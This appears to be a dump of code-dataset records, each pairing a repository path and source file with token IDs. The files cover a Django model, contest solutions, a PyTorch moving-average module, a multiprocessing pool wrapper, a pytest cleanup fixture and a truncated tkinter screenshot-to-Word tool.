6915,
943,
29898,
1311,
1125,
13,
4706,
736,
11705,
12191,
4197,
13,
9651,
1826,
2801,
29889,
29886,
1071,
580,
363,
1826,
2801,
297,
1583,
29889,
6915,
943,
29889,
1524,
5975,
580,
2314,
13,
13,
1678,
822,
443,
29886,
1071,
29918,
6915,
943,
29898,
1311,
1125,
13,
4706,
363,
1826,
2801,
297,
1583,
29889,
6915,
943,
29889,
1524,
5975,
7295,
13,
9651,
1826,
2801,
29889,
348,
29886,
1071,
580,
13,
2
] |
Chapter05/restful_python_2_05/Django01/games_service/games/models.py | PacktPublishing/Hands-On-RESTful-Python-Web-Services-Second-Edition | 45 | 34209 | <filename>Chapter05/restful_python_2_05/Django01/games_service/games/models.py
from django.db import models
class Game(models.Model):
created_timestamp = models.DateTimeField(auto_now_add=True)
name = models.CharField(max_length=200)
release_date = models.DateTimeField()
esrb_rating = models.CharField(max_length=150)
played_once = models.BooleanField(default=False)
played_times = models.IntegerField(default=0)
class Meta:
ordering = ('name',)
| [
1,
529,
9507,
29958,
1451,
3314,
29900,
29945,
29914,
5060,
1319,
29918,
4691,
29918,
29906,
29918,
29900,
29945,
29914,
29928,
5364,
29900,
29896,
29914,
29887,
1280,
29918,
5509,
29914,
29887,
1280,
29914,
9794,
29889,
2272,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
13,
13,
1990,
8448,
29898,
9794,
29889,
3195,
1125,
13,
1678,
2825,
29918,
16394,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
13,
1678,
1024,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29900,
29897,
13,
1678,
6507,
29918,
1256,
353,
4733,
29889,
11384,
3073,
580,
13,
1678,
831,
6050,
29918,
29741,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29945,
29900,
29897,
13,
1678,
5318,
29918,
10646,
353,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
13,
1678,
5318,
29918,
3706,
353,
4733,
29889,
7798,
3073,
29898,
4381,
29922,
29900,
29897,
13,
13,
1678,
770,
20553,
29901,
13,
4706,
20520,
353,
6702,
978,
742,
29897,
13,
2
] |
Round H/friends2.py | kamyu104/GoogleKickStart-2020 | 39 | 99601 | # Copyright (c) 2020 kamyu. All rights reserved.
#
# Google Kick Start 2020 Round H - Problem D. Friends
# https://codingcompetitions.withgoogle.com/kickstart/round/000000000019ff49/000000000043aee7
#
# Time: O(A^3 + L^2 * (N + Q)) = O(N + Q) since O(A) = O(26), O(L) = O(20), pass in PyPy2 but Python2
# Space: O(A^2) = O(1)
#
# if L is much smaller than A, this solution would be better
#
def floyd_warshall(dist):
for k in xrange(len(dist)):
for i in xrange(len(dist)):
for j in xrange(len(dist[0])):
dist[i][j] = min(dist[i][j], dist[i][k]+dist[k][j])
def friends():
N, Q = map(int, raw_input().strip().split())
S = raw_input().strip().split()
dist = [[0 if i == j else INF for j in xrange(ALPHA_SIZE)] for i in xrange(ALPHA_SIZE)]
for k, s in enumerate(S): # Time: O(L^2 * N)
for i in s:
for j in s:
if i == j:
continue
dist[ord(i)-ord('A')][ord(j)-ord('A')] = 1
floyd_warshall(dist) # Time: O(A^3)
result = []
for _ in xrange(Q): # Time: O(L^2 * Q)
X, Y = map(int, raw_input().strip().split())
X -= 1
Y -= 1
result.append(INF)
for i in S[X]:
for j in S[Y]:
result[-1] = min(result[-1], dist[ord(i)-ord('A')][ord(j)-ord('A')]+2)
if result[-1] >= INF:
result[-1] = -1
return " ".join(map(str, result))
ALPHA_SIZE = 26
INF = ALPHA_SIZE+1
for case in xrange(input()):
print 'Case #%d: %s' % (case+1, friends())
| [
1,
396,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29900,
9286,
29891,
29884,
29889,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
5087,
476,
860,
7370,
29871,
29906,
29900,
29906,
29900,
21595,
379,
448,
11583,
360,
29889,
11169,
1975,
13,
29937,
2045,
597,
29883,
3689,
2388,
300,
2187,
29889,
2541,
3608,
29889,
510,
29914,
29895,
860,
2962,
29914,
14486,
29914,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29896,
29929,
600,
29946,
29929,
29914,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29946,
29941,
3660,
29872,
29955,
13,
29937,
13,
29937,
5974,
29901,
29871,
438,
29898,
29909,
29985,
29941,
718,
365,
29985,
29906,
334,
313,
29940,
718,
660,
876,
353,
438,
29898,
29940,
718,
660,
29897,
1951,
438,
29898,
29909,
29897,
353,
438,
29898,
29906,
29953,
511,
438,
29898,
29931,
29897,
353,
438,
29898,
29906,
29900,
511,
1209,
297,
10772,
19737,
29906,
541,
5132,
29906,
13,
29937,
14121,
29901,
438,
29898,
29909,
29985,
29906,
29897,
353,
438,
29898,
29896,
29897,
13,
29937,
13,
29937,
565,
365,
338,
1568,
7968,
1135,
319,
29892,
445,
1650,
723,
367,
2253,
13,
29937,
13,
13,
1753,
285,
18966,
29918,
4495,
845,
497,
29898,
5721,
1125,
13,
268,
363,
413,
297,
921,
3881,
29898,
2435,
29898,
5721,
22164,
13,
4706,
363,
474,
297,
921,
3881,
29898,
2435,
29898,
5721,
22164,
13,
9651,
363,
432,
297,
921,
3881,
29898,
2435,
29898,
5721,
29961,
29900,
12622,
29901,
13,
18884,
1320,
29961,
29875,
3816,
29926,
29962,
353,
1375,
29898,
5721,
29961,
29875,
3816,
29926,
1402,
1320,
29961,
29875,
3816,
29895,
10062,
5721,
29961,
29895,
3816,
29926,
2314,
13,
13,
1753,
7875,
7295,
13,
1678,
405,
29892,
660,
353,
2910,
29898,
524,
29892,
10650,
29918,
2080,
2141,
17010,
2141,
5451,
3101,
13,
1678,
317,
353,
10650,
29918,
2080,
2141,
17010,
2141,
5451,
580,
13,
13,
1678,
1320,
353,
5519,
29900,
565,
474,
1275,
432,
1683,
2672,
29943,
363,
432,
297,
921,
3881,
29898,
1964,
29925,
15715,
29918,
14226,
4638,
363,
474,
297,
921,
3881,
29898,
1964,
29925,
15715,
29918,
14226,
4638,
13,
1678,
363,
413,
29892,
269,
297,
26985,
29898,
29903,
1125,
29871,
396,
5974,
29901,
438,
29898,
29931,
29985,
29906,
334,
405,
29897,
13,
4706,
363,
474,
297,
269,
29901,
13,
9651,
363,
432,
297,
269,
29901,
13,
18884,
565,
474,
1275,
432,
29901,
13,
462,
1678,
6773,
13,
18884,
1320,
29961,
536,
29898,
29875,
6817,
536,
877,
29909,
1495,
3816,
536,
29898,
29926,
6817,
536,
877,
29909,
1495,
29962,
353,
29871,
29896,
13,
1678,
285,
18966,
29918,
4495,
845,
497,
29898,
5721,
29897,
29871,
396,
5974,
29901,
438,
29898,
29909,
29985,
29941,
29897,
13,
1678,
1121,
353,
5159,
13,
1678,
363,
903,
297,
921,
3881,
29898,
29984,
1125,
29871,
396,
5974,
29901,
438,
29898,
29931,
29985,
29906,
334,
660,
29897,
13,
4706,
1060,
29892,
612,
353,
2910,
29898,
524,
29892,
10650,
29918,
2080,
2141,
17010,
2141,
5451,
3101,
13,
4706,
1060,
22361,
29871,
29896,
13,
4706,
612,
22361,
29871,
29896,
13,
4706,
1121,
29889,
4397,
29898,
24065,
29897,
13,
4706,
363,
474,
297,
317,
29961,
29990,
5387,
13,
9651,
363,
432,
297,
317,
29961,
29979,
5387,
13,
18884,
1121,
14352,
29896,
29962,
353,
1375,
29898,
2914,
14352,
29896,
1402,
1320,
29961,
536,
29898,
29875,
6817,
536,
877,
29909,
1495,
3816,
536,
29898,
29926,
6817,
536,
877,
29909,
1495,
10062,
29906,
29897,
13,
4706,
565,
1121,
14352,
29896,
29962,
6736,
2672,
29943,
29901,
13,
9651,
1121,
14352,
29896,
29962,
353,
448,
29896,
13,
1678,
736,
376,
11393,
7122,
29898,
1958,
29898,
710,
29892,
1121,
876,
13,
13,
1964,
29925,
15715,
29918,
14226,
353,
29871,
29906,
29953,
13,
24065,
353,
319,
13208,
15715,
29918,
14226,
29974,
29896,
13,
1454,
1206,
297,
921,
3881,
29898,
2080,
580,
1125,
13,
1678,
1596,
525,
8259,
396,
29995,
29881,
29901,
1273,
29879,
29915,
1273,
313,
4878,
29974,
29896,
29892,
7875,
3101,
13,
2
] |
nn/exponential_moving_average.py | GuillaumeRochette/HumanViewSynthesis | 10 | 103626 | import torch
from torch import Tensor
from torch.nn import Module
class ExponentialMovingAverage(Module):
def __init__(self, *size: int, momentum: float = 0.995):
super(ExponentialMovingAverage, self).__init__()
self.register_buffer("average", torch.ones(*size))
self.register_buffer("initialised", torch.tensor(False))
self.momentum = momentum
@torch.no_grad()
def forward(self, x: Tensor):
if self.training:
self.update(x=x)
return self.average
def update(self, x: Tensor):
if self.initialised.all():
self.average.copy_(x.lerp(self.average, self.momentum))
else:
self.average.copy_(x)
self.initialised.copy_(~self.initialised)
| [
1,
1053,
4842,
305,
13,
3166,
4842,
305,
1053,
323,
6073,
13,
3166,
4842,
305,
29889,
15755,
1053,
15591,
13,
13,
13,
1990,
1222,
1112,
2556,
29924,
21081,
29909,
19698,
29898,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
2311,
29901,
938,
29892,
19399,
29901,
5785,
353,
29871,
29900,
29889,
29929,
29929,
29945,
1125,
13,
4706,
2428,
29898,
1252,
1112,
2556,
29924,
21081,
29909,
19698,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
1583,
29889,
9573,
29918,
9040,
703,
12483,
482,
613,
4842,
305,
29889,
2873,
10456,
2311,
876,
13,
4706,
1583,
29889,
9573,
29918,
9040,
703,
11228,
3368,
613,
4842,
305,
29889,
20158,
29898,
8824,
876,
13,
4706,
1583,
29889,
29885,
2932,
398,
353,
19399,
13,
13,
1678,
732,
7345,
305,
29889,
1217,
29918,
5105,
580,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29901,
323,
6073,
1125,
13,
4706,
565,
1583,
29889,
26495,
29901,
13,
9651,
1583,
29889,
5504,
29898,
29916,
29922,
29916,
29897,
13,
13,
4706,
736,
1583,
29889,
12483,
482,
13,
13,
1678,
822,
2767,
29898,
1311,
29892,
921,
29901,
323,
6073,
1125,
13,
4706,
565,
1583,
29889,
11228,
3368,
29889,
497,
7295,
13,
9651,
1583,
29889,
12483,
482,
29889,
8552,
23538,
29916,
29889,
1358,
29886,
29898,
1311,
29889,
12483,
482,
29892,
1583,
29889,
29885,
2932,
398,
876,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
12483,
482,
29889,
8552,
23538,
29916,
29897,
13,
9651,
1583,
29889,
11228,
3368,
29889,
8552,
23538,
30022,
1311,
29889,
11228,
3368,
29897,
13,
2
] |
code/interruptible_pool.py | mjvakili/supermean | 1 | 129824 | <reponame>mjvakili/supermean
# -*- coding: utf-8 -*-
from __future__ import (division, print_function, absolute_import,
unicode_literals)
__all__ = ["InterruptiblePool"]
import signal
import functools
from multiprocessing.pool import Pool
from multiprocessing import TimeoutError
def _initializer_wrapper(actual_initializer, *rest):
"""
We ignore SIGINT. It's up to our parent to kill us in the typical
condition of this arising from ``^C`` on a terminal. If someone is
manually killing us with that signal, well... nothing will happen.
"""
signal.signal(signal.SIGINT, signal.SIG_IGN)
if actual_initializer is not None:
actual_initializer(*rest)
class InterruptiblePool(Pool):
"""
A modified version of :class:`multiprocessing.pool.Pool` that has better
behavior with regard to ``KeyboardInterrupts`` in the :func:`map` method.
:param processes: (optional)
The number of worker processes to use; defaults to the number of CPUs.
:param initializer: (optional)
Either ``None``, or a callable that will be invoked by each worker
process when it starts.
:param initargs: (optional)
Arguments for *initializer*; it will be called as
``initializer(*initargs)``.
:param kwargs: (optional)
Extra arguments. Python 2.7 supports a ``maxtasksperchild`` parameter.
"""
wait_timeout = 3600
def __init__(self, processes=None, initializer=None, initargs=(),
**kwargs):
new_initializer = functools.partial(_initializer_wrapper, initializer)
super(InterruptiblePool, self).__init__(processes, new_initializer,
initargs, **kwargs)
def map(self, func, iterable, chunksize=None):
"""
Equivalent of ``map()`` built-in, without swallowing
``KeyboardInterrupt``.
:param func:
The function to apply to the items.
:param iterable:
An iterable of items that will have `func` applied to them.
"""
# The key magic is that we must call r.get() with a timeout, because
# a Condition.wait() without a timeout swallows KeyboardInterrupts.
r = self.map_async(func, iterable, chunksize)
while True:
try:
return r.get(self.wait_timeout)
except TimeoutError:
pass
except KeyboardInterrupt:
self.terminate()
self.join()
raise
# Other exceptions propagate up.
| [
1,
529,
276,
1112,
420,
29958,
29885,
29926,
29894,
557,
2638,
29914,
9136,
12676,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
313,
4563,
2459,
29892,
1596,
29918,
2220,
29892,
8380,
29918,
5215,
29892,
13,
462,
4706,
29104,
29918,
20889,
1338,
29897,
13,
13,
1649,
497,
1649,
353,
6796,
4074,
6685,
1821,
11426,
3108,
13,
13,
5215,
7182,
13,
5215,
2090,
312,
8789,
13,
3166,
6674,
307,
985,
292,
29889,
10109,
1053,
28625,
13,
3166,
6674,
307,
985,
292,
1053,
5974,
449,
2392,
13,
13,
13,
1753,
903,
11228,
3950,
29918,
17699,
29898,
19304,
29918,
11228,
3950,
29892,
334,
5060,
1125,
13,
1678,
9995,
13,
1678,
1334,
11455,
317,
6259,
10192,
29889,
739,
29915,
29879,
701,
304,
1749,
3847,
304,
12088,
502,
297,
278,
15662,
13,
1678,
4195,
310,
445,
564,
5921,
515,
4954,
29985,
29907,
16159,
373,
263,
8638,
29889,
960,
4856,
338,
13,
1678,
7522,
23393,
502,
411,
393,
7182,
29892,
1532,
856,
3078,
674,
3799,
29889,
13,
1678,
9995,
13,
1678,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
10192,
29892,
7182,
29889,
5425,
29954,
29918,
17298,
29897,
13,
1678,
565,
3935,
29918,
11228,
3950,
338,
451,
6213,
29901,
13,
4706,
3935,
29918,
11228,
3950,
10456,
5060,
29897,
13,
13,
13,
1990,
4124,
6685,
1821,
11426,
29898,
11426,
1125,
13,
1678,
9995,
13,
1678,
319,
9120,
1873,
310,
584,
1990,
18078,
18056,
307,
985,
292,
29889,
10109,
29889,
11426,
29952,
393,
756,
2253,
13,
1678,
6030,
411,
4880,
304,
4954,
2558,
3377,
4074,
6685,
29879,
16159,
297,
278,
584,
9891,
18078,
1958,
29952,
1158,
29889,
13,
1678,
584,
3207,
10174,
29901,
313,
25253,
29897,
13,
4706,
450,
1353,
310,
15645,
10174,
304,
671,
29936,
21274,
304,
278,
1353,
310,
10808,
29879,
29889,
13,
1678,
584,
3207,
2847,
3950,
29901,
313,
25253,
29897,
13,
4706,
20370,
4954,
8516,
29952,
1673,
470,
263,
1246,
519,
393,
674,
367,
22336,
491,
1269,
15645,
13,
4706,
1889,
746,
372,
8665,
29889,
13,
1678,
584,
3207,
2069,
5085,
29901,
313,
25253,
29897,
13,
4706,
11842,
9331,
363,
334,
11228,
3950,
29930,
29936,
372,
674,
367,
2000,
408,
13,
4706,
4954,
11228,
3950,
10456,
2344,
5085,
3569,
1412,
13,
1678,
584,
3207,
9049,
5085,
29901,
313,
25253,
29897,
13,
4706,
7338,
336,
6273,
29889,
5132,
29871,
29906,
29889,
29955,
11286,
263,
4954,
655,
486,
1278,
29879,
546,
5145,
16159,
3443,
29889,
13,
1678,
9995,
13,
1678,
4480,
29918,
15619,
353,
29871,
29941,
29953,
29900,
29900,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10174,
29922,
8516,
29892,
2847,
3950,
29922,
8516,
29892,
2069,
5085,
29922,
3285,
13,
462,
3579,
19290,
1125,
13,
4706,
716,
29918,
11228,
3950,
353,
2090,
312,
8789,
29889,
3846,
7373,
11228,
3950,
29918,
17699,
29892,
2847,
3950,
29897,
13,
4706,
2428,
29898,
4074,
6685,
1821,
11426,
29892,
1583,
467,
1649,
2344,
12035,
5014,
267,
29892,
716,
29918,
11228,
3950,
29892,
13,
462,
462,
18884,
2069,
5085,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
2910,
29898,
1311,
29892,
3653,
29892,
4256,
519,
29892,
521,
18801,
675,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
11243,
27445,
310,
4954,
1958,
2555,
29952,
4240,
29899,
262,
29892,
1728,
2381,
9536,
292,
13,
4706,
4954,
2558,
3377,
4074,
6685,
29952,
1412,
13,
4706,
584,
3207,
3653,
29901,
13,
9651,
450,
740,
304,
3394,
304,
278,
4452,
29889,
13,
4706,
584,
3207,
4256,
519,
29901,
13,
9651,
530,
4256,
519,
310,
4452,
393,
674,
505,
421,
9891,
29952,
7436,
304,
963,
29889,
13,
4706,
9995,
13,
4706,
396,
450,
1820,
15709,
338,
393,
591,
1818,
1246,
364,
29889,
657,
580,
411,
263,
11815,
29892,
1363,
13,
4706,
396,
263,
11790,
654,
29889,
10685,
580,
1728,
263,
11815,
2381,
497,
1242,
7670,
3377,
4074,
6685,
29879,
29889,
13,
4706,
364,
353,
1583,
29889,
1958,
29918,
12674,
29898,
9891,
29892,
4256,
519,
29892,
521,
18801,
675,
29897,
13,
13,
4706,
1550,
5852,
29901,
13,
9651,
1018,
29901,
13,
18884,
736,
364,
29889,
657,
29898,
1311,
29889,
10685,
29918,
15619,
29897,
13,
9651,
5174,
5974,
449,
2392,
29901,
13,
18884,
1209,
13,
9651,
5174,
7670,
3377,
4074,
6685,
29901,
13,
18884,
1583,
29889,
18821,
403,
580,
13,
18884,
1583,
29889,
7122,
580,
13,
18884,
12020,
13,
9651,
396,
5901,
15283,
13089,
403,
701,
29889,
13,
2
] |
tests/epyccel/conftest.py | noushi/pyccel | 0 | 191261 | # pylint: disable=missing-function-docstring, missing-module-docstring/
import os
import shutil
import pytest
@pytest.fixture( params=[
pytest.param("fortran", marks = pytest.mark.fortran),
pytest.param("c", marks = [
pytest.mark.c]
)
]
)
def language(request):
return request.param
def teardown(path_dir = None):
if path_dir is None:
path_dir = os.path.dirname(os.path.realpath(__file__))
for root, _, files in os.walk(path_dir):
for name in files:
if name.startswith(".coverage"):
shutil.copyfile(os.path.join(root,name),os.path.join(os.getcwd(),name))
files = os.listdir(path_dir)
for f in files:
file_name = os.path.join(path_dir,f)
if f in ("__pyccel__", "__epyccel__"):
shutil.rmtree( file_name, ignore_errors=True)
elif not os.path.isfile(file_name):
teardown(file_name)
elif not f.endswith(".py") and not f.endswith(".rst"):
os.remove(file_name)
def pytest_runtest_setup(item):
marks = [m.name for m in item.own_markers ]
if 'parallel' not in marks:
teardown()
def pytest_runtest_teardown(item, nextitem):
marks = [m.name for m in item.own_markers ]
if 'parallel' not in marks:
teardown()
| [
1,
396,
282,
2904,
524,
29901,
11262,
29922,
27259,
29899,
2220,
29899,
1514,
1807,
29892,
4567,
29899,
5453,
29899,
1514,
1807,
29914,
13,
5215,
2897,
13,
5215,
528,
4422,
13,
5215,
11451,
1688,
13,
13,
29992,
2272,
1688,
29889,
7241,
15546,
29898,
8636,
11759,
13,
4706,
11451,
1688,
29889,
3207,
703,
3921,
661,
613,
17997,
353,
11451,
1688,
29889,
3502,
29889,
3921,
661,
511,
13,
4706,
11451,
1688,
29889,
3207,
703,
29883,
613,
17997,
353,
518,
13,
9651,
11451,
1688,
29889,
3502,
29889,
29883,
29962,
13,
4706,
1723,
13,
1678,
4514,
13,
29897,
13,
1753,
4086,
29898,
3827,
1125,
13,
1678,
736,
2009,
29889,
3207,
13,
13,
1753,
734,
538,
776,
29898,
2084,
29918,
3972,
353,
6213,
1125,
13,
1678,
565,
2224,
29918,
3972,
338,
6213,
29901,
13,
4706,
2224,
29918,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
6370,
2084,
22168,
1445,
1649,
876,
13,
13,
1678,
363,
3876,
29892,
17117,
2066,
297,
2897,
29889,
20919,
29898,
2084,
29918,
3972,
1125,
13,
4706,
363,
1024,
297,
2066,
29901,
13,
9651,
565,
1024,
29889,
27382,
2541,
17350,
11911,
482,
29908,
1125,
13,
18884,
528,
4422,
29889,
8552,
1445,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4632,
29892,
978,
511,
359,
29889,
2084,
29889,
7122,
29898,
359,
29889,
657,
29883,
9970,
3285,
978,
876,
13,
13,
1678,
2066,
353,
2897,
29889,
1761,
3972,
29898,
2084,
29918,
3972,
29897,
13,
1678,
363,
285,
297,
2066,
29901,
13,
4706,
934,
29918,
978,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29918,
3972,
29892,
29888,
29897,
13,
4706,
565,
285,
297,
29871,
4852,
1649,
2272,
617,
295,
1649,
613,
376,
1649,
1022,
29891,
617,
295,
1649,
29908,
1125,
13,
9651,
528,
4422,
29889,
1758,
8336,
29898,
934,
29918,
978,
29892,
11455,
29918,
12523,
29922,
5574,
29897,
13,
4706,
25342,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
1445,
29918,
978,
1125,
13,
9651,
734,
538,
776,
29898,
1445,
29918,
978,
29897,
13,
4706,
25342,
451,
285,
29889,
1975,
2541,
17350,
2272,
1159,
322,
451,
285,
29889,
1975,
2541,
17350,
29878,
303,
29908,
1125,
13,
9651,
2897,
29889,
5992,
29898,
1445,
29918,
978,
29897,
13,
13,
1753,
11451,
1688,
29918,
29878,
1657,
342,
29918,
14669,
29898,
667,
1125,
13,
1678,
17997,
353,
518,
29885,
29889,
978,
363,
286,
297,
2944,
29889,
776,
29918,
3502,
414,
4514,
13,
1678,
565,
525,
23482,
29915,
451,
297,
17997,
29901,
13,
4706,
734,
538,
776,
580,
13,
13,
1753,
11451,
1688,
29918,
29878,
1657,
342,
29918,
371,
538,
776,
29898,
667,
29892,
2446,
667,
1125,
13,
1678,
17997,
353,
518,
29885,
29889,
978,
363,
286,
297,
2944,
29889,
776,
29918,
3502,
414,
4514,
13,
1678,
565,
525,
23482,
29915,
451,
297,
17997,
29901,
13,
4706,
734,
538,
776,
580,
13,
2
] |
Problems/sibice.py | ramonrwx/kattis | 1 | 52277 | from math import hypot
n, w, h = (int(x) for x in input().split())
def fits_in_box(nums: list[int]) -> None:
longest = hypot(w, h)
for num in nums:
print('DA') if num <= longest else print('NE')
fits_in_box(int(input()) for _ in range(n))
| [
1,
515,
5844,
1053,
10163,
327,
13,
13,
29876,
29892,
281,
29892,
298,
353,
313,
524,
29898,
29916,
29897,
363,
921,
297,
1881,
2141,
5451,
3101,
13,
13,
13,
1753,
23994,
29918,
262,
29918,
1884,
29898,
1949,
29879,
29901,
1051,
29961,
524,
2314,
1599,
6213,
29901,
13,
1678,
27217,
353,
10163,
327,
29898,
29893,
29892,
298,
29897,
13,
1678,
363,
954,
297,
954,
29879,
29901,
13,
4706,
1596,
877,
7698,
1495,
565,
954,
5277,
27217,
1683,
1596,
877,
8186,
1495,
13,
13,
13,
29888,
1169,
29918,
262,
29918,
1884,
29898,
524,
29898,
2080,
3101,
363,
903,
297,
3464,
29898,
29876,
876,
13,
2
] |
pris/gui.py | alex-rusakevich/pris | 0 | 115500 | <reponame>alex-rusakevich/pris
from tkinter import messagebox as tm
from PIL import Image, ImageTk
from tkinter import font
from mss import mss
from queue import Queue
import tkinter as tk
import tkinter.ttk as ttk
import tkinter.filedialog as tf
import os, mouse, keyboard, traceback, webbrowser
import threading, mss.tools, docx, docx.shared
SLST_CHILL = 0
SLST_SELECTING1 = 1
SLST_SELECTING2 = 2
CHSE_FS = 1
CHSE_OWN = 2
WORK_CHILLING = 0
WORK_WORKING = 1
class GUI:
sel_state = SLST_CHILL
work_state = WORK_CHILLING
extensions = [".docx", ".doc"]
err_queue = Queue()
def __init__(self, title, cur_dir):
self.root = tk.Tk(title)
self.cur_dir = cur_dir
self.root.geometry("500x300")
self.root.title(title)
self.root.iconbitmap(os.path.join(cur_dir, "res", "icon.ico"))
self.root.resizable(width=0, height=0)
#Загрузка картинки
bg_img = Image.open(os.path.join(cur_dir, "res",
"bg_border.png"))
bg_img = ImageTk.PhotoImage(bg_img)
lab_img = tk.Label(self.root, image=bg_img)
lab_img.photo = bg_img
lab_img.place(x=5,y=5)
style = ttk.Style()
style.configure("my.TButton", font=("Helvetica", 18))
#============================================
#Выбор для одной точки
def choose_point1():
self.sel_state = SLST_SELECTING1
self.btn_choose1 = ttk.Button(text="✛", style="my.TButton",
command=choose_point1)
self.btn_choose1.config(width=2)
self.btn_choose1.place(x=5,y=5)
#X и Y
self.btn_choose1_X_label = ttk.Label(self.root,
text="X: ")
self.btn_choose1_X = ttk.Entry(self.root, width=7)
self.btn_choose1_X_label.place(x=45, y=5)
self.btn_choose1_X.place(x=60, y=5)
self.btn_choose1_Y_label = ttk.Label(self.root,
text="Y: ")
self.btn_choose1_Y = ttk.Entry(self.root, width=7)
self.btn_choose1_Y_label.place(x=110, y=5)
self.btn_choose1_Y.place(x=125, y=5)
#============================================
#Выбор для другой точки
def choose_point2():
self.sel_state = SLST_SELECTING2
self.btn_choose2 = ttk.Button(text="✛", style="my.TButton",
command=choose_point2)
self.btn_choose2.config(width=2)
self.btn_choose2.place(x=275,y=175)
#X и Y
self.btn_choose2_X_label = ttk.Label(self.root,
text="X: ")
self.btn_choose2_X = ttk.Entry(self.root, width=7)
self.btn_choose2_X_label.place(x=110, y=187)
self.btn_choose2_X.place(x=125, y=187)
self.btn_choose2_Y_label = ttk.Label(self.root,
text="Y: ")
self.btn_choose2_Y = ttk.Entry(self.root, width=7)
self.btn_choose2_Y_label.place(x=175, y=187)
self.btn_choose2_Y.place(x=190, y=187)
#============================================
#Выбор размер или фуллскрин
self.chosen_opt = tk.IntVar()
def on_fs():
self.btn_choose1.config(state="disabled")
self.btn_choose1_X.config(state="disabled")
self.btn_choose1_Y.config(state="disabled")
self.btn_choose2.config(state="disabled")
self.btn_choose2_X.config(state="disabled")
self.btn_choose2_Y.config(state="disabled")
on_fs()
self.full_screen_button = ttk.Radiobutton(text="Весь экран",value=CHSE_FS,
variable=self.chosen_opt, command=on_fs)
def on_own():
self.btn_choose1.config(state="enabled")
self.btn_choose1_X.config(state="enabled")
self.btn_choose1_Y.config(state="enabled")
self.btn_choose2.config(state="enabled")
self.btn_choose2_X.config(state="enabled")
self.btn_choose2_Y.config(state="enabled")
self.own_rbutton = ttk.Radiobutton(text="Свой выбор",value=CHSE_OWN,
variable=self.chosen_opt, command=on_own)
self.full_screen_button.place(x=110,y=85)
self.own_rbutton.place(x=110, y=105)
self.chosen_opt.set(1)
#============================================
#Подсказки
hint_lbl1 = ttk.Label(text="В режиме выбора области нажмите на кнопку \"✛\",\n"+
"чтобы кликом средней кнопки мыши(колесиком)\n"+
"выбрать угол для прямоугольника, который\n"+
"обрежет всё, что вне его границ.")
hint_lbl1.place(x=10, y=220)
#============================================
#Выбираем позицию с помощью клика средней кнопки мыши
def on_choose_click():
posx, posy = mouse.get_position()
if self.sel_state == SLST_SELECTING1:
self.btn_choose1_X.delete(0, tk.END)
self.btn_choose1_X.insert(tk.END, str(posx))
self.btn_choose1_Y.delete(0, tk.END)
self.btn_choose1_Y.insert(tk.END, str(posy))
self.sel_state = SLST_CHILL
elif self.sel_state == SLST_SELECTING2:
self.btn_choose2_X.delete(0, tk.END)
self.btn_choose2_X.insert(tk.END, str(posx))
self.btn_choose2_Y.delete(0, tk.END)
self.btn_choose2_Y.insert(tk.END, str(posy))
self.sel_state = SLST_CHILL
mouse.on_middle_click(on_choose_click)
#============================================
#Правая сторона программы
work_frame = ttk.Frame(self.root)
#Сохранение файла
self.file_label = ttk.Label(work_frame, text="Файл: ")
self.file_label.grid(row=0, column=1, sticky="w", padx=5)
self.file_out_path = tk.StringVar()
self.file_out_path_entry = ttk.Entry(work_frame, textvariable=self.file_out_path)
self.file_out_path_entry.config(width=28)
self.file_out_path_entry.grid(row=1, column=1, pady=5, padx=5)
self.save_button = ttk.Button(work_frame, text="Сохранить...", command=self.save_file)
self.save_button.config(width=15)
self.save_button.grid(row=2, column=1, padx=5, sticky="nsew")
#================
#Ключевая клавиша
self.key_label = ttk.Label(work_frame, text="Клавиша: ")
self.key_label.grid(row=3, column=1, sticky="w", padx=5)
self.key_name = tk.StringVar()
self.key_name.set("print screen")
self.key_name_entry = ttk.Entry(work_frame, textvariable=self.key_name)
self.key_name_entry.grid(row=4, column=1, sticky="nsew", pady=5, padx=5)
self.key_name_entry.config(state=tk.DISABLED)
def redefine_button():
self.key_name.set(keyboard.read_key())
self.key_button = ttk.Button(work_frame, text="Переназначить", command=redefine_button)
self.key_button.grid(row=5, column=1, padx=5, sticky="nsew")
#============================================
#Ссылка на репозиторий
self.repo_link = ttk.Label(work_frame, text=
'https://github.com/alex-\nrusakevich/pris')
self.repo_link.grid(row=6, column=1, padx=5, pady=5, sticky="nsew")
def open_repo(_):
webbrowser.open("https://github.com/alex-rusakevich/pris", new=2)
self.repo_link.bind("<Button-1>", open_repo)
#Запуск процесса
self.start_button = ttk.Button(text="Старт!", command=self.start_working)
self.start_button.place(x=315, y=225, width=175, height=55)
work_frame.place(x=310, y=5)
#============================================
def exception_processing(_):
if not self.err_queue.empty():
eq = self.err_queue.get()
if eq[0] == PermissionError:
tm.showerror("Упс!", "Произошла ошибка доступа к файлу. Закройте все программы, в которых используется \""+
self.file_out_path.get()+"\" и перезагрузите программу")
else:
tm.showerror("Упс!", "Произошла ошибка "+str(eq[0])+":\n"+str(eq[1])+
"\nПерезагрузите программу и попробуйте ещё раз. Если ошибка повторится, пишите на <EMAIL>")
self.err_queue.task_done()
self.root.bind("<<On error>>", exception_processing)
def back_to_chill(self):
